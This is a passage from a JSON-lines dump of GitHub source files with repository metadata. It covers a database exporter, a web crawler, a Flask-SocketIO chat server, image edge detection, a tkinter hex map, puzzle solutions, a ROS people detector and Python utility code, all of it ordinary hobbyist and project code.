PRIMARY KEY, name CHAR(25));').commit()\n        connection.close()\n\n    def CompactAccessDatabase(self, fname):\n        pypyodbc.win_compact_mdb(fname,'D:\\\\compacted.mdb')\n\n    def SQLServer_to_CSV(self, cred, schema, table, fldr):\n        opFile = fldr + table + '.CSV'\n        print ('Saving ' + table + ' to ' + opFile)\n        #cred = [server, database, username, password]\n        connection_string ='Driver={SQL Server Native Client 11.0};Server=' + cred[0] + ';Database=' + cred[1] + ';Uid=' + cred[2] + ';Pwd=' + cred[3] + ';'\n        #print(connection_string)\n        conn = pypyodbc.connect(connection_string)\n        cur = conn.cursor()\t\n        sqlToExec = 'SELECT * FROM ' + schema + '.' + table + ';'\n        cur.execute(sqlToExec)\n        op = open(opFile,'wb') # 'wb'\n        # add column headers\n        txt = ''\n        for col in cur.description:\n            txt += '\"' + self.force_string(col[0]) + '\",'\n        op.write(txt + '\\n')\n        for row_data in cur: # add table rows\t\t\t.encode('utf-8')\n            txt = ''\n            for col in row_data:\n                txt += '\"' + self.force_string(col) + '\",'\n            op.write(txt + '\\n')\n        op.close()\t\n        cur.close()\n        conn.close()\n\n    def force_string(self, obj):\n        if type(obj) is str:\n            return obj\n        else:\n            return str(obj)\n    \nif __name__ == '__main__':\n    TEST()\t\n    ","repo_name":"acutesoftware/AIKIF","sub_path":"aikif/dataTools/if_mssqlserver.py","file_name":"if_mssqlserver.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"16"}
+{"seq_id":"3705122799","text":"import scrapy\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\n\ncount = 0\n\n\nclass ConcordiaSpider(scrapy.Spider):\n    name = \"concordia\"\n    start_urls = ['https://www.concordia.ca/ginacody.html']\n\n    def parse(self, response):\n        soup = BeautifulSoup(response.text, 'lxml')\n        page = urlparse(response.url)\n        filename = \"test_html/\" + page.path[10:].replace(\"/\", \"_\")\n        with open(filename, 'wb') as f:\n            f.write(response.body)\n\n        # Obeying robots apart from robots.txt Look at tag\n        robot_tag = soup.find(\"meta\", attrs={'name': 'robots'})\n\n        links = soup.findAll('a', href=True)\n        for link in links:\n            if link is not None:\n                url = link['href']\n                if url.startswith(\"/ginacody\") and robot_tag['content'] == \"index,follow\":\n                    next_link = response.urljoin(url)\n                    yield {\n                        'Next link': next_link,\n                        'url': url,\n                        'robots_tag': robot_tag['content']\n                    }\n                    yield scrapy.Request(url=next_link, callback=self.parse)\n","repo_name":"Gmartinica/COMP-479-projects","sub_path":"p4/concordia/concordia/spiders/concordia_crawler.py","file_name":"concordia_crawler.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3577331478","text":"'''\nCreated on Oct 25, 2011\n\n@author: Meredith\n'''\n\n'''for loop for counting\nrange (startpoint, end point, update)\\\nstartpoint = includes\nendpoint = does not include\nupdate = number by which to count\n\nrange(0, 10, 2)\noutput- 0, 1, 2, 3, 4, 5, 6, 7, 8, 9\n\nrange(0,10,2)\noutput- 0, 2, 4, 6, 8\n\nrange(10, 0, -1)\n10, 9, 8, 7, 6, 5, 4, 3, 2, 1\n\nrange(0, 10)\noutput 0, 1, 2, 3, 4, 5, 6, 7, 8, 9\n\nrange(10)\n0, 1, 2, 3, 4, 5, 6, 7, 8, 9\n\ni,j,k are counting variables'''\n\ns = 'Meredith Hoo'\nfor c in s:\n    if c.isalnum():\n        print(c)\n    elif c.isalph():\n        print(c)","repo_name":"zesameri/Beginner-Python-Projects","sub_path":"Basic Concepts/counting.py","file_name":"counting.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"69970209929","text":"from logging import debug\r\nfrom flask import Flask,render_template\r\nfrom flask.globals import request\r\nfrom flask_socketio import SocketIO, emit, join_room, leave_room, send\r\n\r\napp=Flask(__name__)\r\napp.config[\"SECRET_KEY\"]=\"SECRET\"\r\nsocketio = SocketIO(app,async_mode = 'eventlet')\r\n\r\nuser_room_dict={}\r\nsid_user_dict={}\r\n\r\n@socketio.on('message')\r\ndef handle_message(msg):\r\n    print(request.sid)\r\n    emit(\"message\",msg,broadcast=True)\r\n\r\n@socketio.on('join')\r\ndef join_a_room(data):\r\n    print(data)\r\n    roomid=data[\"room\"]\r\n    join_room(roomid)\r\n\r\n    user_room_dict[request.sid]=roomid\r\n\r\n    emit(\"Roommessage\",sid_user_dict[request.sid]+\" enter the room\",to=roomid)\r\n\r\n@socketio.on('leave')\r\ndef leave_a_room(data):\r\n    print(data)\r\n    roomid=data[\"room\"]\r\n    leave_room(roomid)\r\n\r\n    emit(\"Roommessage\",sid_user_dict[request.sid]+\" leave the room\",to=roomid)\r\n\r\n    del user_room_dict[request.sid]\r\n\r\n\r\n\r\n@socketio.on('toSomeRoom')\r\ndef toSomeRoom(Msg):\r\n    roomid=user_room_dict[request.sid]\r\n    emit('Roommessage',sid_user_dict[request.sid]+\":\"+Msg,to=roomid)\r\n\r\n@socketio.on('changeName')\r\ndef changeName(name):\r\n    sid_user_dict[request.sid]=name\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n    return render_template('broadcast_page.html')\r\n\r\nif __name__==\"__main__\":\r\n    socketio.run(app,debug=1)","repo_name":"oFeasl/Flask_SocketIO","sub_path":"test_FlaskSocketIO/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16064058618","text":"\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport time\n\nclass edge_rec:\n    def __init__(self, image):       \n        self.image = image\n        self.PILimg = Image.open(self.image)\n\n        self.width = self.PILimg.size[0]\n        self.height = self.PILimg.size[1]\n\n        self.x_kernel = [[1, 2, 1],\n                         [0, 0, 0],\n                         [-1, -2, -1]]\n        \n        self.y_kernel = [[1, 0, -1],\n                         [2, 0, -2],\n                         [1, 0, -1]]\n\n        self.kernel_size = len(self.x_kernel[0])\n\n    # convert image to gray scale image\n    def gray_scale(self):\n        lst = []\n        for x in range(0, self.height):\n            for y in range(0, self.width):\n                pixel = (y, x)\n                rgb = self.PILimg.getpixel(pixel)\n\n                gray_scale = rgb[0] / 255\n                lst.append(gray_scale)\n\n        gray_im = []\n        for i in range(0, len(lst), self.width):\n            gray_im.append(lst[i:i + self.width])\n\n        return gray_im\n\n    # apply convolution on image with a sobel filter\n    def convolution(self, kernel):\n        matrice = self.gray_scale()\n\n        lst = []\n\n        for k_j in range(len(matrice) - self.kernel_size + 1):\n            for k_i in range(len(matrice[1]) - self.kernel_size + 1):\n                scalar = []\n                for i in range(self.kernel_size):\n                    for j in range(self.kernel_size):\n                        scalar.append(matrice[i + k_j][j + k_i] * kernel[i][j])\n                        \n                lst.append(sum(scalar))\n\n        return lst\n\n    def main(self):\n        # plot original image\n        plt.matshow(self.gray_scale(), cmap=\"gray\")\n        plt.title(\"original\")\n        plt.show()\n        \n        start = time.time()\n\n        # create edges in x-axis\n        x_edges = self.convolution(self.x_kernel)\n        # create edges in y-axis\n        y_edges = self.convolution(self.y_kernel)\n        \n        # combine x- and y-edges\n        for i in range(len(x_edges)):\n            x_edges[i] = np.sqrt(pow(x_edges[i], 2) + pow(y_edges[i], 2))\n            x_edges[i] = x_edges[i]\n\n        edges = x_edges\n        \n        # reshape to original height - 2 and original width - 2 (the amount of kernels that fit into height and width)\n        convolutioned = np.array(edges).reshape(self.height - 2, self.width - 2)\n\n        duration = time.time() - start\n        print(\"took: \", duration, \" sec\")\n\n        plt.matshow(convolutioned)\n        plt.title(\"edges\")\n        plt.show()\n\n\nif __name__ == \"__main__\":\n    edge_rec(\"images/house.png\").main()\n\n","repo_name":"theopfr/edge-detection-from-scratch","sub_path":"python-version/edge_recognition.py","file_name":"edge_recognition.py","file_ext":"py","file_size_in_byte":2642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11617289647","text":"# hex_map.py\n#\n#\n#\n#\n\nimport tkinter as tk\nimport math\nfrom hex import Hex\n\nCOS_30 = math.cos(math.radians(30))\nSIN_30 = math.sin(math.radians(30))\n\nclass HexMap(tk.Frame):\n\n    def __init__(self, master, parent, size, hex_menu_callback):\n        super().__init__(master)\n        self._master = master\n        self._parent = parent\n        self.hex_grid = tk.Canvas(self, height=780, width=1275, bg=\"black\")\n        self.hex_grid.grid(column=0, row=1)\n        self._hex_menu_callback = hex_menu_callback\n\n        self._hex_ids = []\n        self._hexes = []\n\n        self._create_grid(size)\n        self._label_grid()\n\n\n    def _create_grid(self, size):\n        start_x = 50\n        curr_x = start_x\n        curr_y = 50\n        margin = 5\n        x_offset = start_x + (COS_30 * start_x) + 3\n        for row in range(9):\n            print(\"Generating row \" + str(row))\n            if row % 2 == 0:\n                for hex in range(13):\n                    next_hex = self._create_hex(curr_x, curr_y, size)\n                    curr_x = next_hex[0] + margin\n            else:\n                for hex in range(12):\n                    next_hex = self._create_hex(curr_x, curr_y, size)\n                    curr_x = next_hex[0] + margin\n            if row % 2 == 0:\n                curr_x = x_offset\n            else:\n                curr_x = start_x\n            curr_y = curr_y + (COS_30 * start_x * 2) - 7\n\n\n    def _create_hex(self, start_x, start_y, size):\n        hex_points = self._calculate_hex_points(start_x, start_y, size)\n        hex_id = self.hex_grid.create_polygon(hex_points[0][0], hex_points[0][1], hex_points[1][0], hex_points[1][1], hex_points[2][0], hex_points[2][1], hex_points[3][0], hex_points[3][1], hex_points[4][0], hex_points[4][1], hex_points[5][0], hex_points[5][1], outline=\"white\", activedash=True)\n        self._hex_ids.append(hex_id)\n        self._hexes.append(Hex(self.hex_grid, self._master, self, hex_id, self._hex_menu_callback))\n        return hex_points[2]\n\n\n    def _label_grid(self):\n        print(\"Laebeling grid...\")\n        for hex in self._hex_ids:\n            label = str(hex)\n            # print(\"Adding label \" + label)\n            coords = self.hex_grid.coords(hex)\n            self.hex_grid.create_text((coords[0] + coords[4]) / 2, coords[1] - 10, fill=\"white\", text=label, justify=\"center\")\n\n\n    def _calculate_hex_points(self, start_x, start_y, size):\n        # print(\"Creating hex: \" + str(start_x), str(start_y), str(size))\n        p1 = (start_x, start_y)\n        p2 = (start_x + (COS_30 * size), (start_y + (SIN_30 * size * -1)))\n        p3 = ((p2[0] + (COS_30 * size)), start_y)\n        p4 = (p3[0], start_y + size)\n        p5 = (p2[0], p4[1] + (SIN_30 * size))\n        p6 = (start_x, start_y + size)\n        return (p1, p2, p3, p4, p5, p6)\n\n\n    def initialize_start_positions(self, player_data):\n        start_positions = [1, 7, 13, 101, 107, 113]\n        current_player = 1\n        for hex in start_positions:\n            self._parent._players[current_player-1].set_hq(hex)\n            current_player_str = \"p\" + str(current_player)\n            current_player_data = player_data[current_player_str]\n            self._hexes[hex - 1].change_owner(current_player_data)\n            current_player += 1\n","repo_name":"HarrisonMH/smashmap","sub_path":"hex_map_old.py","file_name":"hex_map_old.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"14902107831","text":"# Definir una función superposicion() que tome dos listas y\r\n# devuelva True si tienen al menos 1 miembro en común o devuelva False de lo contrario.\r\n# Escribir la función usando el bucle for anidado.\r\n\r\ndef superposicion(array1, array2):\r\n\r\n    iguales = True\r\n    contador = 0\r\n    \r\n    for i in array1:\r\n        for j in array2:\r\n            if i == j:\r\n                contador += 1\r\n\r\n    if contador > 0:\r\n        print(iguales)\r\n    else:\r\n        iguales = False\r\n        print(iguales)\r\n\r\n\r\nlista1 = [1,2]\r\nlista2 = [2,3]\r\n\r\nsuperposicion(lista1, lista2)\r\n","repo_name":"alan199912/Pyhton","sub_path":"Ejercicios 1/07-superposicion.py","file_name":"07-superposicion.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38620359684","text":"from __future__ import print_function\nimport re\nimport numpy\n\nshifts = []\nguards = dict()\n\nwith open('input.txt', 'rb') as f:\n    for line in f:\n        shifts.append(line)\n\nshifts.sort()\nprint(shifts)\n\nguard_id = 0\ntimecard = numpy.zeros(60)\ntime_asleep = 0\n\nfor shift in shifts:\n    if 'Guard' in shift:\n        digits = re.search(r'#\\d+', shift)\n        guard_id = int(digits.group()[1:])\n        if guard_id in guards:\n            guard = guards[guard_id]\n        else:\n            guards[guard_id] = {\n                'timecard': numpy.zeros(60),\n            }\n\n    elif 'falls asleep' in shift:\n        minutes = re.search(r':\\d+', shift)\n        time_asleep = int(minutes.group()[1:])\n    elif 'wakes up' in shift:\n        minutes = re.search(r':\\d+', shift)\n        time_awake = int(minutes.group()[1:])\n        for i in range(time_asleep, time_awake):\n            guards[guard_id]['timecard'][i] += 1\n\n# part a\ndef most_minutes_asleep():\n    max_guard_id = 0\n    max_minutes = 0\n    max_time = 0\n    for i in guards:\n        minutes = sum(guards[i]['timecard'])\n        if max_minutes < minutes:\n            max_guard_id = i\n            max_minutes = minutes\n            max_time = numpy.argmax(guards[i]['timecard'])\n    return max_guard_id * max_time\n\n# part b\ndef minute_most_often_asleep():\n    max_guard_id = 0\n    max_minutes = 0\n    max_time = 0\n    for i in guards:\n        minutes = max(guards[i]['timecard'])\n        if max_minutes < minutes:\n            max_guard_id = i\n            max_minutes = minutes\n            max_time = numpy.argmax(guards[i]['timecard'])\n    return max_guard_id * max_time\n\nprint(most_minutes_asleep())\nprint(minute_most_often_asleep())","repo_name":"drewtaylors/Advent_of_Code","sub_path":"day_4/star_4.py","file_name":"star_4.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38994495741","text":"#Desenvolva um programa que receba 8 números inteiros positivos. Apresente a soma e média aritmética deles.\n\nsoma = 0\nmedia = 0\n\nfor cont in range (1,4):\n    num = float(input(\"Digite um número inteiro\"))\n    soma = soma + num\n    media = soma / 3\n\nprint(soma)\nprint(media)\n\n\n\n","repo_name":"diogomoreirax/computational-thinking-using-python-1-semestre","sub_path":"atividade 7 FOR ESTRUTURAS DE REPETIÇÃO/8soma_arit.py","file_name":"8soma_arit.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2189197423","text":"import dotenv\nimport hydra\nimport glob\nfrom pathlib import Path\nimport torch\nimport os\nfrom omegaconf import DictConfig\n\n# load environment variables from `.env` file if it exists\n# recursively searches for `.env` in all folders starting from work dir\ndotenv.load_dotenv(override=True)\nfrom src import utils\n\nlog = utils.get_logger(__name__)\n\n@hydra.main(config_path=\"configs/\", config_name=\"test.yaml\")\ndef main(config: DictConfig):\n\n    # Imports can be nested inside @hydra.main to optimize tab completion\n    # https://github.com/facebookresearch/hydra/issues/934\n    from src import utils\n    from src.utils import metrics\n    from src.testing_pipeline import test\n\n    # Applies optional utilities\n    utils.extras(config)\n    all_preds = []\n    os.chdir(\"/Weather-Prediction-NN\")\n    # Evaluate model\n    chkpts = []\n    path = config.ckpt_folder\n    for ck in Path(path).rglob(\"*.ckpt\"):\n        if not \"last\" in str(ck):\n            chkpts.append(ck)\n    for c in chkpts:\n        config.ckpt_path = c\n        preds, all_targets = test(config)\n        all_preds.append(preds)\n\n    all_preds = torch.stack((all_preds))\n    all_preds = torch.mean(all_preds, dim=0)\n    rocauc_table, ap_table, f1_table = metrics.metrics_celled(all_targets, all_preds)\n    res_rocauc = torch.median(rocauc_table)\n    res_ap = torch.median(ap_table)\n    res_f1 = torch.median(f1_table)\n    log.info(f\"test_ensemble_median_rocauc: {res_rocauc}\")\n    log.info(f\"test_ensemble_median_ap: {res_ap}\")\n    log.info(f\"test_ensemble_median_f1: {res_f1}\")\n    with open(\"ens.txt\", \"a\") as f:\n        f.write(config.ckpt_folder + \"\\n\")\n        f.write(\"median_rocauc: \" + str(res_rocauc) + \"\\n\")\n        f.write(\"\\n\")\n        f.write(\"median_ap: \" + str(res_ap) + \"\\n\")\n        f.write(\"\\n\")\n        f.write(\"median_f1: \" + str(res_f1) + \"\\n\")\n        f.write(\"\\n\")\n    return\n\n\nif __name__ == \"__main__\":\n    \n    \n    main()\n","repo_name":"VGrabar/Weather-Prediction-NN","sub_path":"test_ensemble.py","file_name":"test_ensemble.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"13990146622","text":"from django.http import JsonResponse\nfrom django.views import View\nfrom .models import BookInfo, HeroInfo\nfrom .serializers import BookSerializer, HeroSerializer\nfrom .serializers import BookModelSerializer\nimport json\n\n\nclass BooksView(View):\n    def post(self, request):\n        param_dict = json.loads(request.body.decode())\n\n        # 1.将接收的数据赋给data参数\n        serializer = BookSerializer(data=param_dict)\n        # 2.验证\n        if serializer.is_valid():\n            # 验证成功===》创建对象\n            book = serializer.save()\n\n            serializer = BookSerializer(book)\n            book_dict = serializer.data\n            return JsonResponse(book_dict, status=201)\n        else:\n            # 验证失败\n            return JsonResponse(serializer.errors)\n\n\nclass BookView(View):\n    def get(self, request, pk):\n        book = BookInfo.objects.get(pk=pk)\n\n        # serializer = BookSerializer(book)\n        # book_dict = serializer.data\n\n        serializer = BookModelSerializer(book)\n        book_dict = serializer.data\n\n        return JsonResponse(book_dict)\n\n    def put(self, request, pk):\n        param_dict = json.loads(request.body.decode())\n\n        book = BookInfo.objects.get(pk=pk)\n\n        serializer = BookSerializer(book, data=param_dict)\n        if serializer.is_valid():    ###is_valid() 注意有括号\n            book = serializer.save()\n\n            serializer = BookSerializer(book)\n            book_dict = serializer.data\n            return JsonResponse(book_dict, status=201)\n        else:\n            return JsonResponse(serializer.errors)\n\n\nclass HeroView(View):\n    def get(self, request, pk):\n        hero = HeroInfo.objects.get(pk=pk)\n\n        serializer = HeroSerializer(hero)\n        hero_dict = serializer.data\n\n        return JsonResponse(hero_dict)\n","repo_name":"yongfang117/pro_useful_code","sub_path":"pro_drf/demo2/booktest/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12494283540","text":"from data_structure.linked_list import LinkedList\nfrom utils.emojis import chicken_emoji\nfrom food.food import Food\n\n\nchicken_menu_emoji = \"\"\n\nchicken_menu = LinkedList()\n\nchicken_parmesan = Food(\"Chicken Parmesan\", \"Breaded chicken with tomato sauce.\", chicken_emoji)\ngrilled_chicken_salad = Food(\"Grilled Chicken Salad\", \"Greens with grilled chicken slices.\", chicken_emoji)\nchicken_alfredo_pasta = Food(\"Chicken Alfredo Pasta\", \"Pasta with chicken and creamy sauce.\", chicken_emoji)\nbbq_chicken_sandwhich = Food(\"BBQ Chicken Sandwich\", \"Sandwich with BBQ sauce and chicken.\", chicken_emoji)\ncrispy_chicken_strips = Food(\"Crispy Chicken Strips\", \"Fried chicken strips with dipping sauce.\", chicken_emoji)\nchicken_fajitas = Food(\"Chicken Fajitas\", \"Chicken and vegetables in a tortilla.\", chicken_emoji)\nroasted_chicken = Food(\"Roasted Chicken\", \"Whole roasted chicken with vegetables.\", chicken_emoji)\nchicken_noodle_soup = Food(\"Chicken Noodle Soup\", \"Chicken and noodles in broth.\", chicken_emoji)\nlemon_garlic_chicken = Food(\"Lemon Garlic Chicken\", \"Chicken with lemon and garlic flavors.\", chicken_emoji)\nhoney_mustard_chicken = Food(\"Honey Mustard Chicken\", \"Chicken with honey mustard sauce.\", chicken_emoji)\n\nchicken_menu.insert_beginning(chicken_parmesan)\nchicken_menu.insert_end(grilled_chicken_salad)\nchicken_menu.insert_end(chicken_alfredo_pasta)\nchicken_menu.insert_end(bbq_chicken_sandwhich)\nchicken_menu.insert_end(crispy_chicken_strips)\nchicken_menu.insert_end(chicken_fajitas)\nchicken_menu.insert_end(roasted_chicken)\nchicken_menu.insert_end(chicken_noodle_soup)\nchicken_menu.insert_end(lemon_garlic_chicken)\nchicken_menu.insert_end(honey_mustard_chicken)\n\nchicken_menu_emoji = chicken_menu.show_food_emoji()\n","repo_name":"JohnMachado11/Linked-List-Restaurant","sub_path":"src/food/chicken_menu.py","file_name":"chicken_menu.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24381595194","text":"import json\nimport os\nimport subprocess\nimport uuid\n\nimport pytest\n\nimport quetz\nfrom quetz.db_models import Package, Profile, User\nfrom quetz.rest_models import Channel\nfrom quetz.tasks import indexing\n\n\n@pytest.fixture\ndef user(db):\n    user = User(id=uuid.uuid4().bytes, username=\"bartosz\")\n    profile = Profile(name=\"Bartosz\", avatar_url=\"http:///avatar\", user=user)\n    db.add(user)\n    db.add(profile)\n    db.commit()\n    yield user\n\n\n@pytest.fixture\ndef channel_name():\n    return \"my-channel\"\n\n\n@pytest.fixture\ndef package_name():\n    return \"mytestpackage\"\n\n\n@pytest.fixture\ndef package_format():\n    return 'tarbz2'\n\n\n@pytest.fixture\ndef package_file_name(package_name, package_format):\n    if package_format == 'tarbz2':\n        return f\"{package_name}-0.1-0.tar.bz2\"\n    elif package_format == \"conda\":\n        return f\"{package_name}-0.1-0.conda\"\n\n\n@pytest.fixture\ndef channel(dao: \"quetz.dao.Dao\", channel_name, user):\n    channel_data = Channel(name=channel_name, private=False)\n    channel = dao.create_channel(channel_data, user.id, \"owner\")\n    return channel\n\n\n@pytest.fixture\ndef package_subdir():\n    return \"noarch\"\n\n\n@pytest.fixture\ndef package_version(\n    dao: \"quetz.dao.Dao\",\n    user,\n    channel,\n    package_name,\n    db,\n    package_file_name,\n    package_format,\n    package_subdir,\n):\n    channel_data = json.dumps({\"subdirs\": [package_subdir]})\n    package_data = Package(name=package_name)\n\n    package = dao.create_package(channel.name, package_data, user.id, \"owner\")\n    package.channeldata = channel_data\n    db.commit()\n\n    package_info = (\n        '{\"run_exports\": {\"weak\": [\"otherpackage > 0.1\"]}, \"size\": 100, \"depends\": []}'\n    )\n    version = dao.create_version(\n        channel.name,\n        package_name,\n        package_format,\n        package_subdir,\n        \"0.1\",\n        \"0\",\n        \"0\",\n        package_file_name,\n        package_info,\n        user.id,\n        size=0,\n    )\n\n    yield version\n\n\n@pytest.fixture\ndef archive_format():\n    return \"tarbz2\"\n\n\n@pytest.fixture\ndef pkgstore(config):\n    pkgstore = config.get_package_store()\n    return pkgstore\n\n\ndef test_repodata_zchunk(\n    pkgstore,\n    package_version,\n    channel_name,\n    package_file_name,\n    dao,\n    db,\n):\n    indexing.update_indexes(dao, pkgstore, channel_name)\n\n    index_path = os.path.join(\n        pkgstore.channels_dir,\n        channel_name,\n        \"noarch\",\n        \"index.html\",\n    )\n\n    assert os.path.isfile(index_path)\n    with open(index_path, 'r') as fid:\n        content = fid.read()\n\n    assert \"repodata.json\" in content\n    assert \"repodata.json.bz2\" in content\n    assert \"repodata.json.zck\" in content\n\n    for fname in (\"repodata.json\", \"repodata.json.zck\"):\n        repodata_path = os.path.join(\n            pkgstore.channels_dir, channel_name, \"noarch\", fname\n        )\n\n        assert os.path.isfile(repodata_path)\n\n        if fname.endswith('.zck'):\n            subprocess.check_call(['unzck', repodata_path])\n            with open('repodata.json') as f:\n                repodata_unzck = f.read()\n\n            assert repodata == repodata_unzck  # NOQA # type: ignore\n        else:\n            with open(repodata_path) as f:\n                repodata = f.read()  # NOQA\n","repo_name":"mamba-org/quetz","sub_path":"plugins/quetz_repodata_zchunk/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":3226,"program_lang":"python","lang":"en","doc_type":"code","stars":242,"dataset":"github-code","pt":"16"}
+{"seq_id":"70082936968","text":"#!/usr/bin/env python\nimport numpy as np\nimport cv2\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\n\nbridge = CvBridge()\nhog = cv2.HOGDescriptor()\n\ndef inside(r, q):\n    rx, ry, rw, rh = r\n    qx, qy, qw, qh = q\n    return rx > qx and ry > qy and rx + rw < qx + qw and ry + rh < qy + qh\n\n\ndef draw_detections(img, rects, thickness = 1):\n    for x, y, w, h in rects:\n        # the HOG detector returns slightly larger rectangles than the real objects.\n        # so we slightly shrink the rectangles to get a nicer output.\n        pad_w, pad_h = int(0.15*w), int(0.05*h)\n        cv2.rectangle(img, (x+pad_w, y+pad_h), (x+w-pad_w, y+h-pad_h), (0, 255, 0), thickness)\n\ndef callback(data):\n    frame = bridge.imgmsg_to_cv2(data, \"bgr8\")\n    found,w=hog.detectMultiScale(frame, winStride=(8,8), padding=(32,32), scale=1.05)\n    draw_detections(frame,found)\n    cv2.imshow('feed',frame)\n    cv2.waitKey(3)\n    #ch = 0xFF & cv2.waitKey(1)\n    #if ch == 27:\n        #break\n    #cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n    hog.setSVMDetector( cv2.HOGDescriptor_getDefaultPeopleDetector() )\n    #cap=cv2.VideoCapture('video3.mp4')\n    try:\n       rospy.init_node('peopledetector_node', anonymous=False)\n       rospy.Subscriber('/image_raw', Image, callback)\n       rospy.spin()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"jginesclavero/proc_imagen_mj","sub_path":"scripts/peopledetect.py","file_name":"peopledetect.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34320903189","text":"def add_thousands_separator(fn):\n    def wrapper(a, b):\n        result = fn(a, b)\n        revers_result = str(result)[::-1]\n        count = 0\n        new_text_num = \"\"\n        for i in revers_result:\n            if count == 3:\n                new_text_num += \"'\" + i\n                count = 1\n            else:\n                new_text_num += i\n                count += 1\n        return new_text_num[::-1]\n\n    return wrapper\n\n\n@add_thousands_separator\ndef multiply(a, b):\n    return a * b\n\n\nprint(multiply(9336, 1223))\n","repo_name":"AlitaVitalii/lesson_python","sub_path":"python_basic_28.09.2022/homework/dz30_v1.py","file_name":"dz30_v1.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4141846806","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File   : argument.py\n# Author : Jiayuan Mao\n# Email  : maojiayuan@gmail.com\n# Date   : 03/14/2017\n#\n# This file is part of Jacinle.\n# Distributed under terms of the MIT license.\n\nimport collections\nfrom typing import Any, Optional, Union, Sequence, Tuple, Callable\n\n__all__ = [\n    'get_2dshape', 'get_3dshape', 'get_4dshape',\n    'astuple', 'asshape',\n    'canonize_args_list',\n    'UniqueValueGetter'\n]\n\n\ndef get_2dshape(x: Optional[Union[int, Sequence[int]]], default: Tuple[int, int] = None, type: type = int) -> Tuple[int, int]:\n    \"\"\"Convert a value or a tuple to a tuple of length 2.\n\n    Args:\n        x: a value of type `type`, or a tuple of length 2. If the input is a single value, it will be duplicated to a tuple of length 2.\n        default: default value.\n        type: expected type of the element.\n\n    Returns:\n        a tuple of length 2.\n    \"\"\"\n    if x is None:\n        return default\n    if isinstance(x, collections.Sequence):\n        x = tuple(x)\n        if len(x) == 1:\n            return x[0], x[0]\n        else:\n            assert len(x) == 2, '2dshape must be of length 1 or 2'\n            return x\n    else:\n        x = type(x)\n        return x, x\n\n\ndef get_3dshape(x: Optional[Union[int, Sequence[int]]], default: Tuple[int, int, int] = None, type: type = int) -> Tuple[int, int, int]:\n    \"\"\"Convert a value or a tuple to a tuple of length 3.\n\n    Args:\n        x: a value of type `type`, or a tuple of length 3. If the input is a single value, it will be duplicated to a tuple of length 3.\n        default: default value.\n        type: expected type of the element.\n\n    Returns:\n        a tuple of length 3.\n    \"\"\"\n\n    if x is None:\n        return default\n    if isinstance(x, collections.Sequence):\n        x = tuple(x)\n        if len(x) == 1:\n            return x[0], x[0], x[0]\n        else:\n            assert len(x) == 3, '3dshape must be of length 1 or 3'\n            return x\n    else:\n        x = type(x)\n        return x, x, x\n\n\ndef get_4dshape(x: Optional[Union[int, Sequence[int]]], default: Tuple[int, int, int, int] = None, type: type = int) -> Tuple[int, int, int, int]:\n    \"\"\"Convert a value or a tuple to a tuple of length 4.\n\n    Args:\n        x: a value of type `type`, or a tuple of length 4. If there is only one value, it will return (1, x, x, 1).\n            If there are two values, it will return (1, x[0], x[1], 1).\n        default: default value.\n        type: expected type of the element.\n\n    Returns:\n        a tuple of length 4.\n    \"\"\"\n    if x is None:\n        return default\n    if isinstance(x, collections.Sequence):\n        x = tuple(x)\n        if len(x) == 1:\n            return 1, x[0], x[0], 1\n        elif len(x) == 2:\n            return 1, x[0], x[1], 1\n        else:\n            assert len(x) == 4, '4dshape must be of length 1, 2, or 4'\n            return x\n    else:\n        x = type(x)\n        return 1, x, x, 1\n\n\ndef astuple(arr_like: Any) -> Tuple:\n    \"\"\"Convert a sequence or a single value to a tuple. This method differ from the system method `tuple` in that\n    a single value (incl. int, string, bytes) will be converted to a tuple of length 1.\n\n    Args:\n        arr_like: a sequence or a single value.\n\n    Returns:\n        a tuple.\n    \"\"\"\n    if type(arr_like) is tuple:\n        return arr_like\n    elif isinstance(arr_like, collections.Sequence) and not isinstance(arr_like, (str, bytes)):\n        return tuple(arr_like)\n    else:\n        return tuple((arr_like,))\n\n\ndef asshape(arr_like: Optional[Union[int, Sequence[int]]]) -> Optional[Tuple[int, ...]]:\n    \"\"\"Convert a sequence or a single value to a tuple of integers. It will return None if the input is None.\n\n    Args:\n        arr_like: a 